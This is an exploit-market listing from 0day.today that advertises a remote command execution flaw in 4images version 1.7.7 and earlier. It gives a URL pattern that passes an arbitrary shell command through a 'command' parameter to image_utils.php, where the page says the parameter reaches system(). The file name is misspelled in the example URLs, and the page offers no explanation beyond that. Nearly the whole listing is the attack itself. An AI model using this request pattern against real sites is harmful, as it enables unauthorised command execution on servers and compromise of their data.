[ autentificare ] [ înregistrare ] [ Restabilire ]
Contactează-ne
Ne puteți contacta prin:
0day.today   exploit-uri Market și 0day exploit-uri Database

4images <= 1.7.7 (image_utils.php) Remote Command Execution

Autor
n/a
Risc
[
Nivel de securitate nul
]
0day-ID
0day-ID-12218
Categorie
web applications
Data
12-05-2010
Platformă
php
=========================================================================
4images <= 1.7.7 (image_utils.php) Remote Command Execution Vulnerability
=========================================================================


# [+] Script :4images #
# [+] Download:http://www.4homepages.de/downloads/e0adbeb40435/4images1.7.7.zip
# Version: [1.7.7] #
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : includes/image_utils.php
 
http://localhost/includes/iamge_utils.php?command=[your command]
 
http://127.0.0.1/includes/iamge_utils.php?command=[your command]
 
 
 system($command);
 
line : 104 and 125 



#  0day.today [2024-06-30]  #